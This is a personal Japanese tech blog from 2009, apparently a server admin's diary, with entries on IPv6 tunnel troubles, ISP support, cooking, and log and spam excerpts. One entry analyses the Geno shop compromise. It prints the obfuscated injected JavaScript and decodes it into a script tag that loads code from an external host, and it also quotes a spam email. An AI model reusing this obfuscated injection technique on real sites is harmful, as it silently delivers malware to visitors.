詳しくはご想像にお任せいたしますｗ

[2009/03/31:21:27:21 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/"
[2009/03/31:21:28:26 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?20041015"
[2009/03/31:21:28:33 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?03301800"
[2009/03/31:21:28:43 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?20040428"
[2009/04/01:09:17:02 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "20090317-1-S3"
[2009/04/01:09:17:15 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?200807"
[2009/04/01:09:17:30 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?20090324"
[2009/04/01:09:17:38 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?200405"
[2009/04/01:09:17:45 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?200312"
[2009/04/01:09:17:52 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "20090317-1-S3"
[2009/04/01:09:17:59 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?20090312"
-- cut --
[2009/04/02:13:28:06 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?200602"
[2009/04/02:13:28:13 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?20090317"
[2009/04/02:13:28:18 +0900]  2001:da8:7007:100:20f:1fff:fe6d:c250 "/diary/?200512"
-- cut --

UserAgent は "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" となっていました。
アクセス数については、4/1: 49Hit、4/2: 36Hitのようだ。

こいつは、6to4でした。IPv4アドレスに変換したらどこになるんだっけ。

Received: from google.com (unknown [IPv6:2002:414b:73c4::414b:73c4])
 by bsd.gyojya.jp (Postfix)
 with ESMTP id 7BA889B450 for <domain [at] tomocha.net>;
 Sat, 31 Jan 2009 13:32:33 +0900 (JST)
Received: from [152.189.40.114] (HELO google.com)
 by flowery-snow.de;
 Sat, 31 Jan 2009 23:30:00 -0500
Message-ID: <000000008B87E961972638448>
Reply-To: Kezia Carbaugh <barbot.tori1535@gmail.com>
From: Kezia Carbaugh <misia.si@katamail.com>
To: tomocha.net <domain [at] tomocha.net>
Subject: Making Money on Craigslist
Date: Sat, 31 Jan 2009 23:30:00 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="windows-1251"
Content-Transfer-Encoding: base64
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-MDRcpt-To: domain [at] tomocha.net
X-Return-Path: misia.si@katamail.com
X-Text-Classification: spam

Good day!

As you may already heard, there are many easy ways to make good money from Internet. 
Have you wondered how you can do that? We have the solution for you - only this time 
we have to possibility to present this offer to a limited number of people. Limited, 
as the supplies of this free offer are limited too - we are talking about the Free 
Trial of the Craigslist Kit for making money online.

This Craigslist Kit resource gives you access to: professional secrets to success; 
a step-by-step process from start to finish; getting familiar with Craigslist; what 
works and what doesn't; other great marketing sites and tips.

Order now and be one of the first to have the free kit available! Just reply to this 
email, saying that you are interested in our offer and we will rush your free kit for 
no extra charges. To reply and get in touch with us, simply send an email back to 
1525peterliapis@gmail.com so we can proceed your request and send you additional i
nformation.

Thanks and be quick as the free trials of this Craigslist Kit are very limited!

the Craigslist Kit team

そもそも、そういう用途で使うなら、マイク内臓のノートパソコンを買えばいいんじゃね？とおもいます。
ThinkPadユーザで、X30、X31、X32、T43、X61と使ってきましたが、どれも、マイクの品質は相当よかったし、
ハンズフリーで普通に会話ができてしまいます。
難点はLetsNoteあたりでしょうか。あのあたりは、内臓マイクがついていません。。。

最初から、Letsとか選択肢にありえない（今の保守がちゃっちすぎて、まったく使い物にならないという結論に至った）ので、対象外にしています。
個人的には、Letsが、HDD取り外し可能、IBMと同じ程度で保守をやってくれると、即Letsに乗り換えるんですけど。。。

※ 保守はビジネスモデルにしか入れない。
個人ではMyLets/直販限定で高い。店頭では取り扱いがほとんどの場合できない。
保守は、修理費は購入した金額まででかつ修理費用については、累積され本体価格以上はみてくれない。
キーボードは消耗品扱いといったことで、1,2回修理すれば終わってしまうことになりました。

結論： 恒常的に、4〜10%程度、パケットロスする回線であっても、それはベストエフォートですと言い切ったということ。

問題が出ているのは理解しているようが、そういう状況が半年続いており、一向に改善されない。。
改善すると入ったものぜんぜん実現しておらず、それはベストエフォートですからと。
とりあえず現在、総務省にちくりとやっておりますので、よろしゅう。
相当頭にきております。

ついでに、パケットロス以外に、回線の負荷試験をしばらく続けてみた感じ、次のような結果となった。

0時ごろ〜明け方の9時前まである程度すいているようで速度が出ているが、
お昼から徐々に速度がでず、18〜0時ごろまでがた落ち。
同様にパケットロスが激しく出ています。

もうしばらく継続して様子をみてみましょうか。(鬼
パケットロスする回線がベストエフォートで認めているのですから、これ以上悪化しても文句は言えませんよ？（何か違う気もする

まとめて書いてみるテスト（ぉ

なくなりました。

修羅場を迎えており、iDCなど、社内にいない、
いても深夜とかへんな時間帯にしかなかったのですが、
水曜日あたりに、豪華なお返しがありました。。
豪華どころじゃない気がします。ありがたぅ♪

さわやかのハンバーグを食べてきました。やっぱり、たかい；＿；
セットで頼むと1500円弱してしまいます。
給料日後でないと、いけませんね。。

写真は、ゲンコツハンバーグ250gです。

そろそろ、やばーい食材が。
年明けにもらったりんご。
そろそろ腐りそうにどろどろに。
思い切って、カレーに全部入れちゃいました。
そして、やばくなってきたたまねぎなどなど。

事実上、残飯整理でしたが、2時間程度しか煮込まなかったので、
りんごなど、具が解けてなくなるまで煮込めませんでした(涙）
空腹には勝てませんでしたｗ

ひき肉などいろいろなものを入れましたが、量を作りすぎて、
4食分ぐらいのカレーができてしまいました。

初日は、から揚げとソーセージをトッピングです♪

飽きてしまったので、翌日はカレーうどんですｗ

カレーうどんの具に、豚の細切れを、そして、油揚げ、昆布だしを混ぜてみました(^^。
うどんは、スーパーで2玉購入してきたので、2玉完食ｗ。
やっぱり、麺はおなかにたまらず、すぐにおなかがすいてしますようです（^_^;;

給料日後なので、足りなくなってきた食材を買出しに。
パスタが切れたりオリーブオイルが切れそうになっていたので、大人買い。
業務用スーパーなので、豆板醤などなども。。

ということで食材というか主に調味料etc購入で、
１万２０００円も使ってしまいました。
それにしても、５９円のビールもあったが、どういうものなのでしょう･･･。

豆板醤とか、普通に買えば、小さな小瓶で、250円ぐらいするのですが、
業務用スーパーなら、1キロでほぼ倍の値段で変えてしまいます。
メーカーは同じなのに。。。

ということで、マーボ豆腐など、
中華はそれなりに作るので業務用品を購入してしまいました。
さて、どれぐらい持つのでしょうｗ。
パスタは、2キロぐらい。オリーブオイルも2リッター。
普通のスーパーで買うより半額以下のようです＾＾

パスタって、一食200〜250gぐらい食べるので消費が非常に早いです。。

そして、豚肉が100g88円などの3割引とかもあったので、
3キロぐらい買ってしまいました。
冷蔵庫･冷凍庫の中がいっぱいです。
さーて、一人ヤキニクに、お好み焼きなどなど肉を使う料理をしちゃいますｗｗ

天神屋。
22時前にいくと、おにぎりつめ放題でした。
袋にこれでもかと押し込み37個ゲット（ぉ

晩御飯は、おにぎりです。
6個だったか8個食べてしまいました。
もう、おなかいっぱいー。

その後、朝までに4個ぐらい。

その日の修羅場だったので、朝までに4個しか残っていませんでした。
さすがに途中で飽きたので8個ぐらい売ったりあげたりしましたｗ

でも、見事に完食していますー。

しばらく、おにぎりはいいや。。。

仕事場抜け出し、病院。
車で病院へ行く途中に駿府城を通過。
きれいに桜が咲いていたのでワンショットーっ。

作りすぎて、お好み焼きに４食
さすがに便通はよくなったけど、そろそろ飽きたので、
パスタを作ってみました。
たまには食べたくなるー！

あと、１回分のお好み焼きが残っていますが、明日でいいでしょう。。

ちょっと、和風っぽくするために、ちょっとしょうゆとシメジを入れてみました。
あとは、湖沼、白ワインをいれています。

うんまーっ！

cronおよびsnmpで状況を取れるようにしかけてあり、
変更があるとメールが飛ぶようになっているのですが、
3/5および、3/9に、privvmpages の値が、変わっていました。

2009/03/05 17:00	60000
2009/03/09 15:00	75000

値が調整されたようです。

CPIのサイトには、 2009年3月23日 VPSスケーラブルプランの privvmpages を拡張いたしましたという記事がありますが、3/5日より調整されていたようです。

ということで、実際に使えるメモリは、270MB程度のようです。

2009/4/5(日) 22:28:00 misc_mcdonalds 
MSIE/6 (Mozilla/4 compatible) 	WindowsNT	70% 	emkiss03.mcdonalds.co.jp
http://search.yahoo.co.jp/search?p=%E3%83%9E%E3%82%AF%E3%83%89%E3%83%8A%E3
%83%AB%E3%83%89+%E3%82%AF%E3%83%BC%E3%83%9D%E3%83%B3&ei=UTF-8&yuragi=off&
qrw=0&pstart=1&fr=ush-jp_weather&b=21

ちょっｗ

検索キーワード
Yahoo!検索 - マクドナルド クーポン:

DNS互助っていうものができたので、さそっそく、 私も参加してみました。
IPv4で解決したい人は個別にて対応。
基本IPv6のみでー。

詳細は 2ch.net 自宅鯖でIPv6@IPv6板を参照してください〜。

というものを見つけた。 IT系に限らず、イベント全体のようだ。
ということで、 IT 勉強会カレンダーや IT 勉強会カレンダー検索もあわせてご利用をっ（ぉ

今回の脆弱性は該当製品の文書情報の処理部分に存在しています。 そのため、この脆弱性を悪用することを目的に改ざんされた文書ファイルを直接開いたり、 Webサイト上の文書ファイルをプラグインビューアで開いたり、 悪意のあるサイトへのリンクをクリックするなどしてそのサイトに埋め込まれた文書ファイルを 意図せず開いてしまった場合、外部の第三者からインターネット越しに任意のコードが実行される恐れがあります。

ということなので、早急にアップデート。パッチは下記のところで公開されているようです。

http://www3.justsystem.co.jp/download/ichitaro/up/win/t2009up1.exe
http://www3.justsystem.co.jp/download/ichitaro/up/win/t2008up5.exe
http://www3.justsystem.co.jp/download/ichitaro/up/win/t2007up4.exe
http://www3.justsystem.co.jp/download/ichitaro/up/win/t2006up3.exe
http://www3.justsystem.co.jp/download/ichitaro/up/win/t2005up3.exe
http://www3.justsystem.co.jp/download/ichitaro/up/win/t2004up5.exe
http://www3.justsystem.co.jp/download/ichitaro/up/win/t13up4.exe

また、最近では、AdobeReader、FlashPlayerあたりでも重大な脆弱性がありましたね。
まだの方は、アップデートをお勧めします。
Genoサイトがその脆弱性をついたプログラムを仕掛けられるクラック事件があったようです。

通販のTOPページは閉じているが、その他のページは生きているのでGoogleさんで検索したら、商品ページは生きていました。
そこで、気になったので、商品ページを確認していると、問題のクラックされたプログラムへアクセスすることができました。 方法は、 w3m -dump_source および less を使用です。

w3m -dump_source www.XXXX.XX.jp/xmlrss/osusume.js   (12:30確認)
-----
document.write
 (unescape
  ('%3CsoQcripB9tmO%20smOrc%3DB9%2F%2F94tNt%2EtNt2fq4YMj7tNt%2Ew22YMj%2E19N65rz0%2Fj
    queryB9%2EmOjoQs%3EBn%3C%2FsmOctNtriN6ptNttYMj%3E')
  .replace(/w2|oQ|YMj|fq|rz0|B9|tNt|N6|Bn|mO/g,""));

unescapeの部分を元の文字列に置き換えると、つぎのようになります。
詳しくは この辺(Javascriptのescape関数で判読を難しくする)の説明およびツールをご覧ください。

<soQcripB9tmO smOrc=B9//94tNt.tNt2fq4YMj7tNt.w22YMj.19N65rz0/jqueryB9.mOjoQs>Bn
</smOctNtriN6ptNttYMj>

あとは、replace 部分を正規表現で置換すれば解けます。
replaseの正規表現は、次の文字列を削除しなさい、ということなので、
純粋に値を削除すればいいです。

といてみたところ、次のような一文がでてきました。
これが、問題の脆弱性をつく部分でしょう。

<script src=//AA.BBB.C.DDD/jquery.js></script>

それにしても、単純でシンプルだけど気づきにくくするいい方法ですね。
よく考えるなぁ。
別の方法でも使えそうですね。

尚、昨日は、anketo_form.js および banner_koukoku.js に仕掛けられていたそうですが、
現在は修正され、osusume.js を新たに改竄されたようです。
すなわちサーバはバックアップから戻したというところでしょうか。
現在も尚、安全ではなさそうですのでしばらくアクセスは控えたほうがよいでしょう。

関連するサイトへのリンク

• Geno(PC通販ショップ)のサイトがクラック被害
• ＰＣの通販ショップにウィルス騒動！？
• So... WTF geno reverted back Virus site

修正してきた。
情報が古いままだったので…

結構番号が、若い。
私も若いけど...(死語かしら、、、。^_^;;)

トンネルでIPv6を割り受けているのですが、実験的な位置づけの回線で私は生活をしています。

注意：半分愚痴です･･･

それにしても最近トラブルが多すぎ、2003年とかのころのほうが断然安定していたと思います。

ここのところ２，３年ぐらいトラブルでよく連絡するのですが、上流はまったく気づいておらず、 サイトの例としては、ietf や apnic といった海外への経路がまったくない時期があり、 １ヶ月ほどまってみましたが、気づく様子はありませんでした。
(その上流組織はそういう対外活動をしているので、ietfなどにアクセスする機会は多々ある)

そこで、問い合わせてみて経路がないことをいうと、調べてくれたりしてきっちりと解決はするのですが、 問い合わせがあるまで気づかないor放置せず、その前に何とかしてほしいなあと思いました。
本当のところ、IPv6だといっている推進組織がそういう状況じゃなぁ。。と。 普及していない理由のひとつが見えた気がします。

実は、今年になってから大きな障害が2回ありましたが、どちらもまったく気づいている様子はありませんでした。

一つ目は、JGN2Plusのアクセスポイントが計画停電だったのにもかかわらず、 接続が切れたまま気づかれず、こちらから問い合わせで

「何があったのでしょうか？」

ときいて、初めて回線が切れていることについて、調べてくれるような感じでした。

また、3月下旬ごろから、AAAAのついたサイトに正しくサイトにアクセスできず、 年度末進行で、修羅場中だったので原因追求せず、とりあえずそのうちに直っているだろうと 放置していましたが、改善されなかったため、落ち着いてから、連絡してみました。 問題が出てしばらくするまで、時間がなくて調査仕切れていなかったので、こちらの問題かも、、 とおもい、とりあえずは、同じトンネルを使っている人に聞いてみたところ、

「IPv6ではまったく生活しとらんからしらん」

といわれる状況で、様子がつかめず、最近、同じトンネルを使い、 生活をしている人を偶然見つけたので、

「そういう状況が起こってないですか？」

と聞いてみたところ、

「確かに最近おかしいですねぇ。。」

と。
でも、原因を追究していなかったようですけど。。

で、私のところじゃないなとおもい、簡単に調べてMTUがおかしいってめぼしをつけ、 上流に連絡したところ、本日連絡がありました。

結果は、次のような感じ。

• JGN2plus 上でジャンボフレームを通してもらう必要がある
• 新しい通信キャリアがジャンボフレームを有効にしていない
• 大きい IP パケットが通信キャリアのネットワーク内で廃棄されている

ちゃんと、気づいているのかどうなのか、
こちらから連絡をしない限り気づかないのもどうなのよ…
って最近本当におもいます。
推進派の人たちがしっかりとつかっていれば、すぐに気づくはずなのに。。。
問い合わせをしたときに、「○○な状況で障害が出ています。しばらくお待ちくださいぐらい。」の回答をしてほしい。

※ ちなみに、今回の組織とは、WIDEではありません･･･。

ほかにIPv4のプラスアルファの価格で、個人で提供してもらえて、且つDNS委譲してもらえるIPv6サービスってないですかね、、、。
私が知るところ、現在ではOCN/IIJあたりで、万/month前後かそれ以上の法人プランしか選択肢がないという時点で、 微妙といえば、微妙です。この状況が変わらない限り普及は難しいきもしますが、その前にNGN、マルチプレフィックス問題ものこってますね。（あっ、話が反れた）

まあ、実験とはいえ、DNS委譲してもらえて、IPv6が使えることは幸せなのかも？と思いましたが、
がんばらないと使えない以上、なかなか普及は難しいかもしれません。

それにしても、個人の私ですら、、IPv6は7年以上さわってますよ？(触るだけですけど･･･)
周りの商用ISPや企業は、情報がないとか言わないでちゃんと調べましょうよ。
IPv6だといわれたときから何かしら触っていれば、情報がないわけではなく、
情報も転がっているし、さわる機会も実績もできたはずです。
日本企業の悪いところですね･･･。

本音として、話はそれてしまいますが、ここんとこ数年のコアルータなどはほとんどIPv6に対応しているはずですし、 最近のL2スイッチはよほど低価格な小規模向けを使わない限り、大半は設備的にはIPv6も対応しているはずです。 そのため、増速やアップデートが行われやすい部分のバックボーンが対応できないはずではないと思います。 おそらく、対応ができないのは、設備投資ではなく、後回しにしすぎた教育、検証、使用実績、ノウハウ、情報の共有なのではないでしょうか。 まあ、そのときから触るということは、それなりの人件コストがかかるでしょうけど、 ぎりぎりになって慌てて検討・検証し、大きな案件を逃したりするほうが余計に損をしているようにしか思えません。
※　(追記) 経路数が、、、という問題は指摘されちゃいました。

で、現在そういうMTU問題がでていて、超悲しいので、仕方なく、わざわざ、IPv4のみに対応したSquidを用意して、AAAAがついているサイトには、Proxy経由で強制的にIPv4で接続せざる得ない状況になっていて非常に悲しいです（;_;
早く直してーーー(;_;)

個人であっても法人向けプランでお金を積まなくても買えるDNS委譲込みのIPv6サービスって存在しないから、強烈に悲しいっす。。。

DNS委譲してくれる、IPv6トンネルサービス（ISP不問）というのがあれば、喜んで飛びつきますよ。
これを機会に、IIJあたりがそういうサービスしてくれないかなあ！？
それはそれで、新しい一つのビジネスですよ！！
(今の段階ではIPv6の帯域を保障してWEBアプリを動かすというよりは、使えるというほうが重要なので、ベストエフォートでもいいでしょう。周りにそういうわービスが無い間はそれでも、飛びつきます。)

HNSって、どうやれば、youtube のflvを貼り付けることができるのだろう(^^;

Bananaサーバというか、収容データセンターのビデオが次のURLで公開されています。
http://www.youtube.com/watch?v=JitcAwajlNA

データセンターの中の様子がみれるようです。
サーバ?のタグをみると、40M01 APC3-2 24e3-1 port1 とかいているので、
Extreme Summit 24e3のuplink Giga*2、24ポート10/100のL3スイッチでしょう。
よーく見ると、Summitが移っていますね。
natとか、パケットフィルタリングとかできる変体で、私も所有して使っていますｗ
2chのサーバなのかはわかりませんが、同じものを使っていますｗ
DELLかアラクサラっぽいスイッチもみえますね。（似てるけどよくわからなかった）

お互い紫箱が壊れないことを祈りましょうｗ

そして、ビデオに写っていたサーバの一覧ですｗ

• Oyster901
• Oyster243
• Banana234
• Banana233
• Banana402
• Banana218
• Banana217
• Banana216
• Banana215
• Banana214
• Banana704
• Cobara2244
• Tiger501

ちょっｗ

全件表示　　　 >>

全ての質問を表示します。

Access denied for user 'mysqlcon'@'localhost' (using password: YES)

これも...
私も気をつけなきゃ。恥ずかしい。

使用住みドメインであっても、過去に意味のあったサイトは、正しく保持して運用しましょう。
DNSだけでも保有し続ける予算をつけたうえで運用する、危険性を理解できないのであれば、ドメインを取得して運用する資格は無いです。といいたい今日この頃です。
最近であれば、gTLDであれば、100年分までドメイン料の支払いができるようですし･･･（そんなに長いドメインいらねーよともおもいつつ、自分が生きてないｗ）

使用住みドメインを転売するビジネスもあるぐらいですし、 日経BP社がアダルトサイト？でも書いたとおり、こういうことは日常であります。

職場で、そういうのを知らずにリンクを踏んで、「キャーッ」ってことにならないためにも(笑）

そして、 こういうビジネスもあるそうです...何か間違ってるよ。。

偶然見つけてしまったもの。

dig, host, whoisする習慣がついている私、そして、クエリは大体みているので。。。

$ dig pref.hokkaido.lg.jp ns
;; ANSWER SECTION:
pref.hokkaido.lg.jp.    3600    IN      NS      ns1.pref.hokkaido.jp.
pref.hokkaido.lg.jp.    3600    IN      NS      ns2.pref.hokkaido.jp.
pref.hokkaido.lg.jp.    3600    IN      NS      ns6-tk02.ocn.ad.jp.

;; ADDITIONAL SECTION:
ns6-tk02.ocn.ad.jp.     4231    IN      AAAA    2001:380:0:1::1053

北海道が進んでいるというよい、AAAAがついたNSを登録しているOCNのネームサーバ使っています！
でも、webは対応していませんでした。。
でも、イカスよ、北海道っ！

だけど、OCNがんばって･･･

$ whois -h whois.jprs.jp ns6-tk02.ocn.ad.jp
No match!!

NSが登録されていません。。。

ちなみに、、、

$ dig pref.hokkaido.jp ns +trace
;; Received 430 bytes from 192.33.4.12#53(C.ROOT-SERVERS.NET) in 165 ms

pref.hokkaido.jp.       86400   IN      NS      ns-kg022.ocn.ad.jp.
pref.hokkaido.jp.       86400   IN      NS      ns1.pref.hokkaido.jp.
pref.hokkaido.jp.       86400   IN      NS      ns2.pref.hokkaido.jp.
;; Received 132 bytes from 2001:dc4::1#53(A.DNS.jp) in 43 ms

pref.hokkaido.jp.       3600    IN      NS      ns-kg022.ocn.ad.jp.
pref.hokkaido.jp.       3600    IN      NS      ns1.pref.hokkaido.jp.
pref.hokkaido.jp.       3600    IN      NS      ns2.pref.hokkaido.jp.
;; Received 148 bytes from 211.129.14.167#53(ns-kg022.ocn.ad.jp) in 37 ms

;; ADDITIONAL SECTION:
ns-kg022.ocn.ad.jp.     82711   IN      A       211.129.14.167

こっちは対応していないようですね。

Microsoft スキル チャージ プログラム ‐ 第 3 弾: Web サーバー導入キットに当選しました。

概要は次のとおり。

 □2009 年 5 月 15 日 (金) までに Windows Web Server 2008 上の Internet Information Services (IIS)
   で Web サーバーを立ち上げ、ポート 80 番を使用してインターネットに公開し、その URL もしくは 
   IP アドレスをマイクロソフトにご連絡いただける方。
 □Web サーバー立ち上げの体験日記をご自身のブログなどでご紹介いただける方。
 □Web サーバーを立ち上げてから 1 年以上本番環境の継続利用が可能な方。
 □事後アンケート (導入や運用にあたっての技術的な質問、製品に対する興味や知識などに関する質問) 
   にお答えいただける方。
 □マイクロソフトからのインタビューをご了承いただける方。
   (導入、運用の体験をお尋ねするために、インタビューを行い、その内容を弊社 Web サイトで紹介させて
   いただく場合があります。) 

趣旨としては、IISでサーバを立ち上げ、80番ポートでサービスを行うというだけなので、IPv4であるとは明記されていません。また、やりたいこととして、申し込み時にIPv6と記載した上でエントリーしましたがそれについてもダメとも何も回答が無いので、IPアドレスはIPv6で回答しようとおもいます。
というか、IPv6で公開して、関係者の方々は見れる人っているのでしょうか。

というか、IPv4アドレスはもう足りていないので追加で受けないと実験は無理です;_;

IPv4/IPv6を総称して、IPアドレスなので、提供条件からは外れていません(笑）

ということで、ハードウェアとOSのライセンスのモニタ権利を得ることができました。

後日ここの日記で詳細をぐだぐだと書いてみますね。

というか、リバースプロキシで公開じゃだめなのかなあ(笑)
というか、現在動いているサーバのうち一つが、まだ、Windows 2000 Server + Apache だったりするので、何かと置き換えたい..けど、IISなんだよなぁ･･･。一年間動かしたら、別の用途で再利用しましょ（ぉぃ

先日日記に書いた状況で、非常に萎え萎えなので、トンネルで接続させてもらえて、且つ逆引き委譲してもらえるところを探しています。

インターネット接続サービス 指定事業者一覧(属性型・地域型) / JPRS:というのを見つけたので、取引のあるところの営業に連絡したら、うちはIPv6はやっていませんとか･･･。
この情報って本当に正しいのでしょうか..
いくつかあたってみているものの、やってないとか、高いとか
こういう対応状況ならば、いつになったら本当にv6時代が来るんでしょうか。。

KDDI, IIJ, OCN あたり、現実的だとおもうが、高いなあ。
紐はあるのでトンネルでつなぎたいんだよね。
まず、紐が高すぎる;_;

年末からたびたび、接続が切れることがあり、問い合わせをしてみたときの対応について、書いてみる。
結果として、問い合わせをするときは非常に面倒で、どこから問い合わせをしたらいいんだ？という問題は結構あるとおもうが、そこには触れず、結果としてどうだったか、ということを書いてみます。

問い合わせ内容は次のとおり。

• Ｂフレッツでマルチセッションを使っている
• 他のISPや事業者のPPPoEは切断されない
• Interlink のみ、たびたび切断され、10分程度つながらなくなり、ネットワークの到達性がなくなる
• ルータのログを提出して、この時間〜時間まで切断されていた
• 切れて、数分後〜２，３時間以内に問い合わせ
• 最初のころは社長にCcメールを入れていた（ぉぃ

だいたい、営業時間内であれば、数時間で何かしらアクションがあり、RADIUSのログを出して、この時間切れていたと、回答。

Oct  3 14:16:01,163.139.124.**,a38b7c1c-*,*@rb.il24.net,202.171.149.**,,Start,,,,,,,,,,
Oct  3 14:19:09,163.139.124.**,a38b7c83-*,*@rb.il24.net,202.171.149.**,,Stop,NAS-Error,,
Dec 30 20:29:21,163.139.124.**,a38b7c1c-*,*@rb.il24.net,202.171.149.**,,Stop,Port-Error,,
Dec 30 20:45:23,163.139.124.**,a38b7c1b-*,*@rb.il24.net,202.171.149.**,,Start,,,,,,,,,,
Dec 31 12:56:43,163.139.124.**,a38b7c1b-*,*@rb.il24.net,202.171.149.**,,Stop,Lost-Carrier,
Dec 31 12:56:43,163.139.124.**,a38b7cd7-*,*@rb.il24.net,202.171.149.**,,Start,,,,,,,,,,

で、NAS-Errorについて、簡単に説明。
内容は次のような感じ。

• NAS-Error　のため、接続同期がとれなくなった経緯がある
• Lost-Carrier　エラーがございますのでお客様と対NTT間での特異問題の問題がある
• ＮＴＴ回線上に関与する可能性がある
• ONUの電源を約１０分間、オフにして、電源を再投入、再接続
• それでも問題解消しない場合はＮＴＴ故障係 0120-242-751 までに問い合わせ

そこで、返事として、他のPPPoEセッションは切れていない、ということで、他のリンクのログなどを提示し、ONUの問題ではないし、家のONU-NTT局の問題でもないから、NTTのPOIのほうについて調査しろとメールしたところ、上流のVectantに問い合わせをしますと、1時間後(14時前)に回答。ついでに、IPv6の対応状況についても確認（笑） 上流がトライアルサービスを始めているため、サービスの開始日程等教えてくれと。そしたら、きちんと確認した上で、連絡があった。対応は早くてよい。

翌日上流からの解答があったようで、結果については次のとおり

• 同一網終端装置に広帯域利用ユーザが介在し、その影響によりCPU高負荷が発生し切断された
• 網終端装置は他のISPのユーザもぶら下がっている
• ＮＴＴへ問題が生じた場合の対応措置依頼している

とのこと。ちょっｗ

てことで、迅速な対応で、結構いいけど、システム的に電話が受けれないのはどうか、、とおもう。
特に障害系。障害関係の問い合わせ先おしえてください。。。orz

まともな状況じゃなくて、このまま叫んでもなーんもかわらんし、
どうせこれ以上状況も変わらなさそうだから、
IPv6は捨てたほうがいいのかもと思い始めた。
どこもやる気もないみたいだし。
何か起こっても数週間のスパンで放置されてるし、結局生活しにくい。

枯渇だと叫んでいて推進とか言っている割には、一般的なエンドユーザへの提供(商用)がOCN v6ぐらいしかない。
無料でつくぐらいの勢いでやらにゃ、意味がない。
あとは、海外のトンネルを探すか、feel6か、6to4ぐらいでしょ。
※ 個人対象のものとなると･･･

これだけ騒いで居るんだから、フレッツ向けを含めてトライアルサービスがもっと会ってもいいはずだし、それも無い。
で、しみじみ思い始めてオワッタナと。

まあ、この状況だと、枯渇が問題で回りがどたばたしはじめて、
つぶれる事業者が増えるんじゃないかな、とおもうわけです。
まあ、そういうもんだな。この時代。弱肉強食。

ということで、いまさらながらだけど、家の中で、RAで配るのをやめて、IPv6生活やめようかと。
DNSからも、AAAAはずそうか検討中。

こうやって、現状のままだと、敷居が高いどころかうんざりして、
やめていく人がおおいんじゃないか、と思うわけです。

※ 今使っているv6については、年間1ヶ月〜2ヶ月ぐらい、トラブルで何かしら停止しています。

ということで、IANAからの割当率が100%になっても、絶対にIPv6はまだまだ、使えない状況で、キャリアグレードNATで逃げてそのままで終わりそうと予言してみるテスト。で、最後に、なんで、IPv6にもっと早く・・・となり、弱肉強食の世界。で、v4のアドレスが高価で取引されるんですね(暴言

そして、みんな負け組(笑)

以上、愚痴でした。

tomocha: 足跡帳は、ちょっと、BBSの仕様をいじって、書き込みのときのリモートホストを出るようにしている。
そこで、次のような書き込みがあった。（DNS詐称されていたらしらないけど･･･）

★ DzCPlvxmTokhbEBz  From melekino     
...
...2009/04/16(Thu) 18:25 [No.1032] mino.city.mino.gifu.jp 

あと、ずっと bjsvr.yume2.ne.jp なホストからも書き込みあるんだよなぁ。

このBBSは、jp-ipalloc および、 IPv6（すべて）からしか、書き込みはできず、それ以外はBasic認証が必要とされる仕掛けにしています。

あー。なんて性格悪いんだろう。私。。。

ストレス発散発散。

tomocha: 足跡帳より。

★ vjeoNdMvEWTzgFIIg  From jtsfds410 Home	
mammamia; cialis; propecia buy; generic propecia; cialis cheap; buy cialis; levitra;...(略)
009/04/19(Sun) 00:26 [No.1037]  124x39x67x59.ap124.ftth.ucom.ne.jp

a. [IPネットワークアドレス]     124.39.67.56/29
f. [組織名]                     学校法人　専門学校　日本デザイナー学院

というのが本日公開されたみたいで、中身をざっと閲覧してみたところ、
事業者からの回答は非常にいい加減なものなのだなと感じた。
JPRSの中のひとががんばってくれてつくったのは、good job! といいたいし、
がんばってると思うけど、実際のところ、事業者の方の対応はひどいようです。

たとえば、Value-Domainであれば、ここにある「ネームサーバホスト情報のIPアドレスとして
IPv6形式の登録が可能です。」というのは、実際に対応しており、私も登録しているが、
ここでは、NGとなっている。
回答した担当者がタコなのか、知らないのか。それとも、表に出したくないのか。
network/IPv6/IPv6対応のレジストラ一覧に作ってるけど、実際にできても、どこの事業者もNGと出しちゃうので、
これじゃ、いつまでたっても無理ですな。
最近否定派に回っている気がしてる私。
たぶん、そうなんだろうな。

• ドメイン名登録サービス 指定事業者一覧(汎用) / JPRS:
• ドメイン名登録サービス 指定事業者一覧(属性型・地域型) / JPRS:

 119 名前：anonymous 投稿日：2009/04/20(月) 23:59:18 ??? 
提出日直前まで宿題に手をつけない学生みたいな奴ばかり 
きっと直前になって渋々やり始めて、結局間に合わなくて落第していくんだぜ 

素敵な名言。
おまいら、学生以下だぞっ（笑）

落第の変わりに倒産でしょうけど（ニヤニヤ

個人的には、デザインを見たところ、いつも思うことがあります。
省スペースのデスクトップPC代わりにも使うことを考慮して、

• RGB
• LAN
• USB2.0 1port
• Audio
• 電源

をどちらか片方に集約してほしいと思うんです。
外部ディスプレイにつないで、作業するとき、電源は左、残りは右とかだと、
両方にケーブルが出てしまい美しくないし、邪魔になるんですよね。。。

自宅では、大きなディスプレイについて作業、そのほかではノートで使うといったとき、さらに顕著になりそうで。
特にネットブックとまではいかなくても、小さくなればなるほど、その傾向は出てくるのではないでしょうか。。
小さいとキーボードがつらいし、画面解像度がつらくなり、やはり、そのようになってしまいそうです。

よくわからないけど、キャリアグレードNATを運営するNAT箱の導入、それに伴いアプリケーションが正しく動作しなくなり、問い合わせを行い回答するサポートコスト、運営費用、そして、今後、いろいろな組織からIPアドレスを返却、サブネットの細分化が行われ、経路数の肥大に伴うバックボーンルータのリプレースなど発生する費用がかさむだろうが、（それに伴いAS数も増えて、4バイトASの互換性も重要視されるだろうし）その辺をわざわざ処理させるためにルータを入れ替え、インフラを維持する費用と、IPv6へ移行するの、どっちが費用がかかるんでしょうかね。
